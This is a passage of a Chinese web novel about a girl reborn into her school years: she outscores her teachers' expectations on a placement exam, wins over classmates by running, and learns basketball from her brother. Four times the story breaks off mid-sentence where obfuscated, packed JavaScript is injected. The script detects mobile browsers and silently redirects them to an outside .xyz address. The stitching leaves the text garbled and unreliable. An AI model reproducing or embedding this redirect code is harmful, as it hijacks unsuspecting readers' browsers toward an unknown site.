只是陆林花懒得这么做。 裴春之心里门清,她上辈子等到最后都没等到一个独属于她的房间,这辈子就更不可能了,既然如此,还不如主动和母亲说愿意睡客厅,卖一个乖。 她把身子挤上沙发,沙发下的床板硬得出奇,她却很习惯,很安心,上辈子,她就在这个沙发上写作业、看书、睡觉,度过了她的初中三年。 她又回到这里了。 裴春之睁了一会儿眼睛,心里千头万绪,一会儿想起外婆去世的日期,一会儿想起上辈子死前失血的感受……渐渐地,她闭上了眼睛。 重生第二天,战绩:祸水东引,李代桃僵,装乖卖好,假意逢迎。 4. 减肥成功的高考状元4 第二天居然是裴载之醒得最早。 裴春之迷迷糊糊地听见厕所里传来水声,一睁眼,被水滴溅了一脸——裴载之得意洋洋地站在她面前,拼命地甩着双手,刚刚洗过手的水溅得到处都是。 裴春之坐了起来,她发呆了两秒,然后一拳打到了裴载之那张笑嘻嘻的脸上。 “砰!” 她上辈子太让着这个哥哥了,太瞧得起他了——其实裴载之根本打不过她,他才十三岁,个头还没到裴春之肩膀,没发育,再好欺负不过了。裴春之打完以后,慢悠悠地把被子掀开,套上衣服,把地上裴载之一声又一声的惨叫当成了背景音乐。 “什么声音?” 陆林花蓬头垢面地从房间里跑出来,她气急了,把裴载之从地上拉起来,看见他脸上清清楚楚地青了一大块,瞬间就知道怎么回事了。 “裴春之!” 她冲上来,试图抓住裴春之的头发,蘑菇头滑溜溜的,她一下没抓住,裴春之从她腋下跑走,把书包勾到手上,然后以迅雷不及掩耳之势摸到门把手,像一条泥鳅一样滑走了。 陆林花目瞪口呆,抓空的手还滞留在半空,就连在地上卖惨的裴载之也没反应过来。 裴春之跌跌撞撞地跑到门外,把包挎在肩上,在门关上前,她回过头,与陆林花震撼的眼睛撞了个正着。 显而易见,陆林花对她的印象又要变差了。 裴春之一秒也没停留,背上包往学校的方向一路狂奔,正好锻炼身体了。身后一阵骚乱,气急败坏的裴载之从地上爬起来,大概是不能接受这个暴打他n次的妹妹又一次逃脱,踩着拖鞋就啪塔啪塔地一路飞奔。 “死春猪!你给我回来!”裴载之大吼道。 裴春之跑得太快了,裴载之刚望见她的衣角,就绝望地发现她已经钻到了密密麻麻的巷子中,然后不见踪影。可是,她不是才被接过来吗?!她不是第一天上学吗?她怎么知道往哪儿走? 裴载之发现追不上她后的悲惨事实后,捂着自己仍隐隐发痛的脸蹲了下来,随声而来的陆林花看到儿子这幅不成器的样子,恨铁不成钢地把对裴春之的气撒在了裴载之身上。 她捏住裴载之的耳朵,象征性地拉了一拉。 “废物!连你妹妹都追不上?” 裴载之又出神地看了一会儿妹妹身影消失的地方,神情复杂地转过头来说道:“妈,你不觉得……这个妹妹有点残暴吗?” “那你倒是抓住她啊!”陆林花恼火道,“等她放学,看我怎么教训她……真是不打不听话,不打不懂事!” 裴载之浑身一抖,差点还以为陆林花说的是他…… 在陆林花和裴载之互相斗嘴时,裴春之已经快跑到学校了。 上辈子上学,裴载之一直是由陆林花电瓶车接送的,但是众所周知——电瓶车只有两个座位。 春之被接回来后,陆林花就“为难”地问她,能不能她自己走路去学校。 为了让她记住路,上辈子第一天上学,陆林花把她带在后座骑到了学校。上辈子的裴春之完全被陆林花一个胡萝卜一个棒子的糊弄了,昨天晚上吃饭没有椅子的伤心瞬间烟消云散,她小心翼翼地环住了母亲的腰,心里傻乎乎地想:她还没有抱过妈妈呢。 又爱,又害怕,又担忧。 这就是上辈子裴春之对母亲的感受。 裴春之站在小学门前,上辈子的记忆如潮水般涌来,纷乱的人脸和回忆中,她面无表情地抬脚向里走去。 一个中年男人不耐烦地在门口反反复复地查看着手表,另一只手抓着一个厚壁茶杯,时不时拧开盖子抿一口。 裴春之走到他面前,低低地喊了一声:“老师。” 男人刚喝完水,手忙脚乱地把东西收起来,他挤出一个匆忙的笑。 “裴春之同学?” “是的,老师。” “我姓谭,叫我谭老师就好。” “谭老师。”裴春之微微一顿,继续说道:“你是我的班主任吗?” “额……不一定,得看你能不能到预科班的成绩。” 谭长松尴尬地笑了笑,他用力捋了捋头上为数不多的头发,心里想,这个学生看上去呆呆的,哪里能考到预科班? 他是六年级预科班的班主任,教数学,在课内内容外还会教些羊吃草、容器问题之类的小学奥数,以方便同学们参加市里举办的奥数比赛和小升初遴选。 裴春之忽然一笑,但很快收了笑意,低眉顺眼道:“是要参加入学考试吗?” 谭长松已经领着她走到了一间空教室里,闻言点了点头。 “得参加,不然没法给你分班啊。虽然我们学校也没什么太多班型,总共也就预科班、普通班和砥砺班三种。” 裴春之了然。砥砺班就是差班,预科班则是好班,这两种班都各只有一个班,普通班最多,有六个班。 这个小学的规模仍然算很小的,毕竟新安只是铜州市辖制下的一个小镇子。 裴春之接过谭长松递来的三张卷子,扫了一眼,确信自己可以在三十分钟内解决战局。 谭长松对这个新转校生没报什么期待,他早就听说了,好像是从乡下的什么支教小学转过来的,那种支教小学能有什么教育资源?她连新媒体设备都没见过吧? 等见了面,女孩果然一直低着头,说话慢吞吞的,看上去是个羞涩内向自卑的样子。谭长松把卷子递给她,叮嘱了自己办公室的位置,就背着手准备回去休息了。 他坐会座位上,倒了杯水,开始批改预科的卷子,国庆假期刚结束,他越看这批试卷越心烦,卷子上甚至有不少辣油点子和可乐痕迹! 谭长松一时气闷,把红笔一甩,按住了太阳穴。办公室门被推开了,王慧雅夹着一叠作业本走进来,路过谭长松的时候忽然停了下来。 “哎,谭老师啊,那个转学生是不是你带去入学考了?” “是,是。” “是在七班教室考的吗?” “对啊,怎么了?” “我刚刚路过那里,没人啊?” 谭长松吓了一跳,他看了看手表,不敢置信道:“……可我才发卷子二十七分钟啊?” 王慧雅也严肃起来。 “她是不是,作弊?” 第一天就作弊吗?谭长松没下定论,他把那叠国庆作业先放下,急匆匆地跑去了教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332502|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室,和王慧雅所说不同,那个胖乎乎的女孩就坐在教室里面,看到谭长松过来她似乎也有点惊奇。 然后,女孩把手里的三张试卷递到了谭长松手里。 “……你写不出来?” 谭长松下意识问道。 “是已经写完了。” 裴春之低下头收拾起东西,似乎是准备走人。谭长松赶紧把她拦下来,严肃道,“你先别走。” 他把三张试卷按在桌上,从兜里抽出一支快没水的红笔,当场批改了起来。这套所谓的入学考试正是五年级期末考试的卷子,他还大概记得答案,批起来很快。他批了数学试卷,先扫了一遍客观题,然后肉眼可见地愣了一下。 全对。 全对? 这家伙可是不到三十分钟写完语数英三张卷子!他原以为,她只是图速度,指不定要错多少呢,这个正确率是认真的吗? 没事,还有填空和应用题。谭长松想起来这套试卷最后一道压轴题还是他精挑细选的奥数问题,试卷“唰”地翻到反面,每道题目下面都写了寥寥几行,谭长松当了十几年教师,一眼就看出,每个题目的答案都是对的! 他把目光移到最后,震惊地看到就连那道他洋洋得意的奥数题,女孩也做了出来! 快没水的红笔犹豫了一阵,谭长松咬牙给她打了个“99”。 裴春之站在他旁边,凑过来看了一眼,疑惑地问: “为什么是99?” 你还挺自信啊!谭长松心里无语道,佯装生气地说道:“你一个解都没写!” 哦! 裴春之恍然大悟。她顿时哭笑不得,谭长松把数学试卷一卷,带着剩下两张语文英语试卷往办公室走去,裴春之乖乖跟在后面。 谭长松一进办公室就大呼小叫起来: “王老师!李老师!快来批卷子!” 王慧雅和李明铭站起来,各被塞了一张卷子。裴春之茫然地望向乐呵呵直笑的谭长松,这个中年老男人居然冲她露出一个意味深长的笑。 “看看你偏不偏科哈。” 谭长松笑眯眯道。 裴春之再次低下头,四周时不时传来红笔划过试卷的声音,不到一分钟,英语老师王慧雅那边就没声了,语文试卷批得格外慢一点,两分钟,声音也停下来了。 裴春之抬起头,意料之中地看见两个老师的眼睛里迸溅出前所未有的亮光。 王慧雅喃喃道:“英语客观题全部正确,作文我也愿意给满分……但如果是大市统考,可能会扣一两分。” 语文老师李明铭也把试卷又翻来覆去地看了一遍。 “语文98,如果你上学期期末参加考试的话,就是全年级语文第一。” 两位老师忽然意识到什么一般,转头看向了谭长松。而谭长松也一摊手,把刚刚卷成一团的数学卷子拎出来,一个大大的99赫然在目。 “扣的一分是因为没写解。” 一时间,办公室陷入了一片死寂。旁边几个午休的老教师迷迷糊糊地爬起来,好奇地打量他们这一片的动静。 裴春之笑起来,对谭长松道:“老师,现在你应该是我的班主任了。” 5. 减肥成功的高考状元5 学校对好学生的办事进度出奇地快,当天下午,裴春之就拎着书包走进了预科班的门。 这件事其实没什么争议,因为上辈子,她也考进了预科班,只不过那时她是老老实实考了三个多小时,最后的成绩也都是90上下。这套题有点难度,她考90上下也足够进预科班了。 进预科班后的事,她反而更加印象深刻。 这些学生们本来对她态度不冷不热,只是因为在她转学之前,已经形成了非常成熟的小团体和关系网,导致她一时融入不进去。但也没有到排挤她、讨厌她的程度。 麻烦来得莫名其妙。 上辈子,她的班主任和数学老师也是这个“谭长松”,她对他印象很深刻,因为谭长松是第一个认为她有天赋的老师。 那时她刚跟着预科班上了几节奥数课,她课下刻苦用功,很快就赶上了其他人的进度,没多久就崭露头角,在课上当众解出来别人都做不出来的题目。要知道,那个班其他人,可都已经学了两年多奥数了! 谭长松这个人,是个很真诚、很直率,也很傻的老师。他当数学老师,就只喜欢有数学天赋的孩子,对聪明的孩子他格外地好,对成绩差的孩子他又格外刻薄,恨铁不成钢,语气刻薄,他的口头禅是:“你是猪吗?” 于是,班里的同学对他的评价自然也两极分化。 尖子生们喜欢他,觉得他幽默、平易近人、教得有趣;差生们则恨他,被屡次辱骂,憎恨也实属正常。 裴春之上辈子很感恩他。 他对裴春之非常好。 在裴春之表现出极高的数学潜力后,他立刻每天都把裴春之当成了嘴里的对比标杆,不管是谁在他那里都不如裴春之一根毫毛,动不动就是:“你看看人家裴春之!刚来一个星期有没有,把你们全都超过了!” 裴春之每次听到就低头。 谭长松是个很纯粹的人,他自然不会想到,他夸赞学生的一片好心,反而导致了裴春之遭遇了异常激烈的孤立。 没有人愿意和她说话,也没有人愿意和她玩。大家的朋友都已经固定下来了,甚至每天大课间,一起跳皮筋的时候,裴春之都找不到女生愿意拉她一起。 明明她在乡下的时候是跳皮筋最厉害的孩子。 在愈发怪异的氛围里,裴春之最后什么也没做,当时的她需要发愁的事情实在太多:父母不冷不淡的态度,哥哥的表情,同学的孤立,巨量需要补课的课程,还有远远落下的体育课。 她体育太差了。五十米只能跑十二秒,立定跳远一米三,八百米连四分半都摸不到。 体育被落下的时候又格外明显,当所有人都跑到终点休息时,难免抬起头张望一下还有谁比自己慢。 很遗憾,裴春之一直到高二暴瘦下来之前,一直都是那个最慢的。 这一次,裴春之已经预料到了她会遭遇新一次的孤立,但是这反而是她为什么再一次考入预科班的原因。 她很需要这种孤立,因为她想做自己的事。 她没有任何心情去理会十二三岁的小孩们。 下午,谭长松扶着裴春之的肩一起进来,把她的名字大大地写上黑板。 “大家鼓掌欢迎新同学!” 裴春之没有笑,掌声稀稀拉拉,早上的学生都困得睁不开眼睛,谭长松有些尴尬地咳嗽两声,补充道:“这位同学,入学考试比你们所有人都考得高!” 裴春之心里想,谭长松又开始他的两相对比法了。 这句话也总算在学生里溅起一点水花,大家小声议论着谭长松评价的真假。裴春之有些无聊地侧过脸去看窗外的风景,忽然一个有些激动的声音冒出来: “裴载之的妹妹!” 裴春之回看过来,发现是一个有点眼熟的家伙,似乎是昨天晚上和裴载之玩老鹰抓小鸡游戏的男孩,好像是叫……宋小胖? “宋晓龙闭嘴!” 谭长松怒道,“现在是上课时间,谁给你们的胆子说小话?” 宋小胖整个脑袋都垂了下来,然而他那句话已经引起了轰动,好多人纷纷相互打听着,裴载之的妹妹?裴载之有妹妹? 上辈子好像没这一遭,裴春之不太记得了。她听着耳边越来越吵闹的动静,心里却在盘算这几天要先干些什么。 “安静!” 谭长松把教科书在讲台上敲得砰砰响,然后拧着眉,灵机一动道: “宋晓龙!把你旁边的位置收拾一下,让裴春之坐。” 宋晓龙一直一个人占着两个位置,他东西多,把旁边的座位也摆的、挂的到处都是。听到班主任的命令,他极不情愿地收拾起他的藏宝阁。 裴春之毫无意见,反正坐到哪里她都不会在意旁边的人的。她背着包,十分妥帖地把包放到座位上,然后小心抬起凳子,一点声音也没有发出地坐了下来。宋晓龙还在收拾东西,他别扭地把身子伸到裴春之座位的桌肚里,努力把里面的杂物一口气掏出来。 “没事,你放吧。” 裴春之平淡道,她掏出一本书到桌面上,看了一会儿才意识到宋晓龙没有回声。 她侧脸看去,发现宋晓龙震撼地看着她。 宋晓龙用自以为很小声实则很大声的声音说着:“你不用桌肚吗?” “不用。” “嘿嘿,那你人还挺好的。” 宋晓龙高兴起来,他把一包薯片又塞回了裴春之座位的桌肚里,他注意到裴春之已经打开了一本看上去不像作业本的书开始学习了,他其实好奇极了,但怎么也不好意思凑过去看那是什么。 谭长松已经在讲台上滔滔不绝半天了,宋晓龙一个字也听不懂,他在五分钟内抬头看了七八次课表,屁股在凳子上扭来扭去。 下节课是体育课,他想出去玩。 谭长松的奥数课对他来说像天书一样,他实在无聊,最后还是把注意力投向了身边的新同桌。他小心翼翼地凑过来一点,裴春之毫无反应,于是又凑过来一点,终于,他看清了裴春之手上书本的内容。 “‘咱们到了!唉,你多重啊!孩子,你究竟是谁呢?’ 孩子回答说: ‘我是即将来到的日子。’” 宋晓龙眯着眼睛看了三行,眼前的书忽然合上了,他一激灵,发现裴春之转过身来看着他。 “额,额……” “我就看看。” 宋晓龙诚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332503|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恳道。 裴春之笑了笑,没说什么,但也没回应他,继续摊开书看起来。宋晓龙顿时心痒起来,不知道为什么,他就是觉得裴春之好像和其他人都不一样……她的表情,她干的事情……谭长松才刚夸过她呢!她就在奥数课上看小说! “你在看什么?” 宋晓龙不抱希望地问了一句,他觉得裴春之像他最近看的男频逆袭小说里的高冷女主——仅说性格。 “《约翰·克里斯朵夫》。” 裴春之翻过一页,低声回答了他。 宋晓龙精神了,他凑过去,贱兮兮地问:“讲什么的?” “讲一个人的人生。”裴春之撑着脑袋,随口答道。她放下书,铃声正好响起。谭长松走了,整个教室热闹起来,宋晓龙以为裴春之要好好给他介绍一下书本内容呢,结果裴春之站起身来,往教室外面走去。 “哎,哎,转校生,你去哪儿啊!” 宋晓龙问出口才觉得自己笨,还能去哪儿!上厕所呗! 谁知裴春之真的给了一个很奇怪的答案。 “去跑步。” 她认认真真地说。 “去跑步?” 宋晓龙匪夷所思,他忽然想起下节课是体育课,他因为实在好奇这个转校生的所作所为,甚至把体育课的好事给忘了!他亦步亦趋地跟在裴春之后面,惊恐地看见裴春之毫不犹豫地直冲冲上了跑道,然后摆开双臂跑了起来。 宋晓龙一点也不想跑步。他在平常玩游戏的地方坐下来,很快,就有平时玩得好的男孩跑过来,笑嘻嘻拍他肩膀:“小胖!你新同桌咋样啊?” “怪人。”宋晓龙嘀嘀咕咕。 “哈哈,我看你们俩蛮般配哦。”男生挤眉弄眼,这个岁数的孩子最喜欢乱说这些拉郎配,宋晓龙翻了个白眼,心里知道自己不能有过大的反应,不然反而会被这帮爱犯贱的家伙认为是“害羞”。 “诶,你老婆呢?” 男孩犹未尽兴,继续挑衅地开玩笑,宋晓龙这下翻脸了,他一把甩开男孩搭在他身上的手:“李乔你别太过分了!” 李乔撇下嘴,小声说了一句:“开不起玩笑。” “李乔你别仗着你是李明铭儿子我就不敢打你啊!” “说的好像你不是关系户似的!”李乔像被踩了尾巴一样跳起来,“你神经病啊!别提我爸!” “谁让你过来开恶心玩笑的?” “之前裴载之开你玩笑你连个屁都不敢放——你是不是喜欢裴春之啊?讨好你大舅子?” “你真有病吧!” 宋晓龙别过脸,他本想一拳打到这个瘦猴子脸上,但忽然,他脑海里浮现出新同桌那张永远毫无变化的脸——裴春之看上去不会那么干,她大概是那种爱读书的文艺逼,肯定不会用暴力解决问题。 宋晓龙放下手,背过身去,不再搭理恼火的李乔。 在他心中,这是自己已经成熟长大的标志,故作深沉的宋小胖自己把自己哄好了,遂高兴地远眺起操场。 忽然,他看见了他的新同桌——她居然还在跑! 他怎么感觉这好像已经是第四圈了? 关键是,体育课还没开始啊! 6. 减肥成功的高考状元6 体育老师背着手走过来让他们去慢跑两圈的时候,裴春之理所当然地被落下了好几百米。 她并没有因为自己课间一直在跑步而翘掉慢跑的两圈,虽然跑得慢,但结结实实地跑完了。她停下来的时候,所有人都用好奇的眼神打量她这个不安常理出牌的转校生,裴春之则在心里想:总共跑了六圈,两千多米。 上辈子她压力大的时候,就在操场不停地跑下去,一口气能跑将近七八公里。当然,那个时候她已经瘦下来了,现在这个时候的身体确实有些超重,她跑两公里多已经满头大汗了。 “新同学,裴春之?” 体育老师念了一遍她的名字,然后问:“哪个组愿意带一下新同学啊?” 鸦雀无声。四个组的女生面面相觑,没有人出声。 “不用了老师。”裴春之心平气和,“我不加组也可以。” “你说可以就可以?”体育老师气笑了,“我们玩那些三人两足啊、折返跑、丢手绢的时候,你怎么办?你在旁边坐着吗?想偷懒?当我傻?” “不是的,老师。”裴春之客客气气地说,“如果您担心我偷懒,我可以一直在旁边跑步。” 体育老师看上去想骂人,他又去女生那儿问了一圈有没有人愿意让裴春之加入的,裴春之看着自己的鞋子,百无聊赖,她知道不会有的。 果然没有。 体育老师也有些气急败坏了,他似乎想随便把她塞进一个组里去,裴春之再次出声了:“不用了老师,我喜欢跑步。” “我这节课就有小组活动,你能跑一节课吗?”体育老师冷笑两声。 裴春之仿佛没听懂他的嘲讽,认真地说: “可以。” “……然后她就一直跑到现在?” “她是裴载之的妹妹?她是长跑运动员吗?” “裴载之都毕业了,你还对他念念不忘啊?” “滚呐!” 女生们议论纷纷,她们已经在自由活动了,裴春之还在体育老师的冷眼中一圈圈地跑步。一个女生小声说:“这是第几圈了?” “第七圈。” “她不累吗?” “我怎么记得她上课前也在跑步呢?” “加上上课前跑的跑了多久了?” “不知道……感觉有十几圈了吧。” “她是铁人吗!” 女生们都不理解她,她们一开始还叽叽喳喳地、不理解地、笑话性质地谈论这个转校生,可当她们慢慢注意到裴春之从来没有停下过——在她们玩完一遍游戏,又坐下来休息后,她居然还在进行不知道第多少圈的慢跑! 她们的议论渐渐小下来。她们纷纷远眺着那个黑色的小点慢慢消失在远处的弯道,然后再从直道上经过她们。裴春之跑得满头大汗,形容狼狈,后背有一大片汗湿,但所有人,哪怕是一开始有些排斥新人的学生们,也忍不住肃然起敬。 “她为什么要跑步的疑问”已经被“她为什么能跑这么久”的惊叹替代了。 下课铃从教学楼遥远地传来,裴春之缓缓停下,双手撑着膝盖喘气休息,她也有点记不清多少圈了,大约十三四圈左右。她跑得非常慢,其实和快走速度差不多,前世高中她为了发泄,跑过不知道多少个几千米,早已习惯这种感觉。 “狠人!” 宋晓龙不知道从哪里冒出来,他夸张地竖着大拇指,殷勤地给裴春之递了水,裴春之犹豫了一下,没有接他的水。 “我自己有水。”裴春之冲他笑笑。 “哟哟哟~” 一个尖嘴猴腮的男生从后面跳出来,浮夸地大喊着,把宋晓龙和裴春之都吓了一跳。宋晓龙看见他,顿时横眉竖目,“李乔你别逼我揍你啊!” “宋小胖沦陷了——” 李乔跑出去大喊起来。 “你有病吧!” 宋晓龙勃然大怒地跑走了。 裴春之莫名其妙,她擦了擦汗,已经不再关注两个男生追追打打的样子,低下头去收拾包回教室了。宋晓龙追着李乔一顿打,他余光注意到裴春之已经走了,不知道为什么居然心里还有点失望。 宋晓龙很讨厌裴载之。那天他们一起玩老鹰抓小鸡的时候,宋晓龙感到裴载之很讨厌裴春之……所谓敌人的敌人就是朋友,他难免对这个同为胖子的新同学心生怜悯。 下午的课很快结束了。放学时,裴春之犹豫了一下,没有立刻回家。 她早上出门的时候躲过了陆林花的毒打,晚上回去肯定要补上。虽然她现在已经可以不再在意父母的偏心和暴力,但是这不代表她就得傻乎乎地去挨打。 上辈子,陆林花甚至把她打进医院过。 她暑假会穿中长的袖子,因为她的肩膀上有一道消不掉的疤——那次陆林花操起裴载之的足球钉鞋揍了她一顿,钉鞋底部的钉子在她肩膀上划出长而深的伤口,她去医院缝了十几针。 现在,她有了上辈子应对陆林花的经验,自然有了万全之策。 ——她去裴载之的学校蹲他,然后让他在前面承担主要伤害不就行了? 裴载之走出校门时考虑的是要买鸡米花还是火腿肠,但当他发现一个熟悉的身影时,那些让他魂牵梦萦的美食顿时都被抛之脑后了。 “裴春之?裴春之?你怎么会在这?” 他不敢相信自己的眼睛,被震惊到大喊了三遍,周围接送孩子的家长纷纷侧目。裴载之咽了咽口水,难以置信道:“你为什么会在我学校门口?” “我在等你一起回家。” 裴春之作出有点忧虑的样子,低下头,又补充道:“我还不太记得路。” 裴载之顿时感到合理,他就说这个便宜妹妹不会无缘无故来找他,但他的单线程脑袋还不足以让他怀疑:那不认路的裴春之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332504|183303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是怎么找到他学校门口的? 裴载之咳嗽两声,深感这一回总算可以压过裴春之一头了,他一定要狠狠地报复回来,于是十分臭脸地说:“滚啊!春猪,我就不给你带路!” 裴春之不说话,只睁着大眼睛看他,裴载之冷笑一声,转身往篮球场的方向走去,他以为这下肯定会让裴春之灰溜溜地离开,谁知他余光一瞥,裴春之一点儿也不见外地在篮球场观战席坐了下来,甚至抽出了一本破破烂烂的书当场看了起来。 裴载之和几个哥们打了会儿篮球,可是他的这帮同学也都是有妈妈在家里催着回家的,很快就作鸟兽散,偌大的篮球场只剩下一个裴载之在孤独地打篮球。 他其实已经想回家了,但是他就是想和裴春之较劲,于是他硬着头皮,顶着越来越黑的天,默默地投了半个小时的篮。 裴春之毫不为之所动。 她今天好不容易从二手书店淘到了一本《大学物理》,已经完全沉浸在了知识的海洋。又过了不知道多久,一片阴影在裴春之书上投射下来,裴春之如梦初醒地抬起头,裴载之黑着一张脸,气喘吁吁地瞪着她。 兄妹二人无声地对视了几分钟。 裴载之败下阵来,他气得要命,把篮球用力地扔到远处,然后又因为没人理会他的生气自己跑过去捡球。 他气到在地上反复踢石子,裴春之也毫无动静,简直像个木雕一样沉浸在自己的世界中。 裴载之心里简直在怒吼了:坏妹妹!坏妹妹!最讨厌的妹妹!为什么他要有妹妹! 就在裴载之濒临暴怒的边缘时,裴春之忽然说:“你好像挺有篮球天赋的。” 裴载之猛地一个刹车,脚步停住,他像个机械人一样转过一点头,随即立刻意识到自己反应过大,狂咳嗽两声,佯装无所谓地说:“有吗?” 裴春之认真点了点头。 裴春之很少笑也很少有什么表情,这就导致她做这些“点头”“摇头”之类的动作显得格外有说服力。再加上昨天裴载之刚被裴春之打了一顿,他是不敢和这个暴力女妹妹拼武力值了,本想在语言上夺回场子,谁知道妹妹居然起手是先夸他。 真的吗?他真的有篮球天赋? 裴载之自己回味了一下,强忍住嘴角的笑意,拼命保持面无表情的样子。 “你刚刚看什么书呢?” 裴载之为转移注意力,随口一问。 “课本。”裴春之说。 她没说谎,大学课本也是课本。 “课本有什么好看的。”裴载之故意呛她。 “……” 裴春之没说话,顿时裴载之就后悔了。他觉得这个妹妹沉默的时候还怪吓人的,加上昨天她一把就能把他扔到厕所的景象还历历在目……裴载之又咽口水,他紧张地找话题时,裴春之终于开口了。 “我也想学篮球。” 她说。 7. 减肥成功的高考状元7 裴载之结结实实地被吓了一跳。 他第一反应是裴春之在耍他——哪有女生打篮球的?他笑了一下,却发现裴春之还是那张硬邦邦的脸。 “你开玩笑吧?” 裴载之嗤之以鼻。 裴春之认真地盯着他手里的篮球,重复了一遍: “我也想学篮球。” “你疯了?” 裴载之无法理解,他下意识松了松手,篮球砰砰地滚落到地上。 “从来没有女生打篮球——你连个队伍你都凑不起来!” “我就和你学。”裴春之一点也不在乎道,“没有人和我打,我就自己练。” “你特么……” 裴载之又想骂人了,他到嘴边的脏字,在想到妹妹相当暴力的态度后默默咽了回去。裴载之叹了口气,从地上把篮球掏回来,塞到裴春之手上。 “你投个篮给我看看呢。” 裴春之犹豫了一下,然后模仿着刚刚裴载之投篮的动作来了一下,篮球离篮球框八竿子打不着,飘到篮球板上砸了一下,然后重重地落了下来。 裴载之又笑了一下,故意笑得很刻薄,很大声。 裴春之依然无动于衷——老实说,这种木头一样的反应对于那些想让你破防的人来说,也颇具打击感。裴载之愈发恼火,在裴春之第三次完全不正确地投篮后,他忍不住站起来夺过她手里的篮球。 “看我来一遍,我只示范一遍。” 裴载之轻蔑道,他极其标准地投了一次篮,篮球砸到了框,转了两圈后进了。 “厉害。” 裴春之衷心道,裴载之浑身舒坦。 裴春之再次接过篮球,然后向篮球框瞄准,她调整了很久的姿势,裴载之都有些不耐烦了,她还在调整手部动作。 “是这样吗?” 她还不满意,向裴载之发问道。 “可以了祖宗。”裴载之不耐烦道,他其实根本懒得看她标不标准,刚刚给她示范一个只是想在她面前装逼而已。 “好。” 她把篮球抛出去,依然没中。裴载之垂下眸子,这下变成他等她了,但因为自己的篮球还在裴春之那里,他最终没有偷偷溜走。 “咚”的落地声和“砰”地砸板声间隔传来,不知道什么时候开始,砸板的声音越来越少了。裴载之抬起头,忽然惊讶地发现裴春之已经进了好几个球了。 意外?运气? 他这下认真起来,发现裴春之的投篮率已经达到了惊人的50%——她刚刚还一个都投不中呢! 动作嘛……老实说,裴载之的动作标范程度也就那样,至少裴春之现在的投篮动作他挑不出毛病了。 裴载之坐直了身子,他有些合不拢嘴了,裴春之还在投篮,她很认真,每个都一丝不苟,满头大汗也不停下。他看着看着,竟然有些恐惧。 单调的重复性的工作固然可怕,但如果有一个人在你面前恬淡如水地做着这种工作——而且有肉眼可见的进步,那么是令人生畏的。 裴载之站起来,一把夺过裴春之手里的篮球,他的表情耐人寻味,一半惊艳一半恼火,他也有点搞不懂自己的心情了——两天足以让一个人大概摸清楚另一个人是什么样的人。实话实说,裴载之知道裴春之是个优秀的人。 那种传统意义上的优秀。 她会在等人的时候学习,会直接反抗不公平,还有耐心,感兴趣的东西就一定要学会。 她似乎比自己还聪明……这个投篮虽然基础,但确实能看出来很多东西的。 裴载之心情复杂。他抱着球,一言不发往家的方向走去,裴春之还在喘气,投篮不累,捡球累,她伸手擦着汗,气喘吁吁地跟在后面。 “为什么想学篮球?没有女生喜欢篮球。” “我喜欢。” “你怎么会喜欢?” “我知道我喜欢。” 裴载之侧过一点头,对上裴春之运动后黑得发亮的、葡萄般的眼睛。 裴春之的后半句也缓缓落地: “……你又怎么知道我不喜欢?” 裴载之语塞了。 他组织了一会儿语言,才有些没底气地喊道:“女生打篮球没有女生样子!” 裴春之反问他:“谁说的?” “我妈,我爸,还有很多人——反正我没见过女生打篮球。” “那就是他们错了。” 裴春之淡淡地说,她背着包,从后面一点点跟上来。 裴载之步子稍顿,然后继续往前走去,裴春之完全没有在意他的心绪翻涌,毫无芥蒂地把哥哥当成人肉导航。 过会儿还要担当人肉护盾。 裴春之在心里笑了一下。 裴春之为什么想学打篮球——这是个很复杂的故事,这也是一个与裴载之有关的故事。 所有认识裴载之的人,都承认:他确实是个长得不错的男生。 其实裴家的基因很好,裴春之后来瘦下来以后,多多少少也从别人的眼神里读出一种意味:她是美丽的。 裴载之和她不一样,他是从小听着这种赞誉长大的。 他喜欢打篮球,喜欢打游戏,据说游戏也打得很好,是什么省标国标;他心思不在学习上,但每次家长会,老师也会对陆林花说客气话:“你家儿子是聪明的。” 裴春之后来和他上了一所初中,他们因为上学早晚的区别,隔了一个年级,这件事对裴载之来说是件大好事——他耻于承认这个妹妹。 初中时,他无数次和裴春之说: “不要到楼上来找我,不要提起我!” 这就是上辈子裴载之对裴春之说得最多的话。 但是裴春之难免会注意他。 她的哥哥太有名了,那些情窦初开的女孩,年少不懂事的小孩子,总会给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 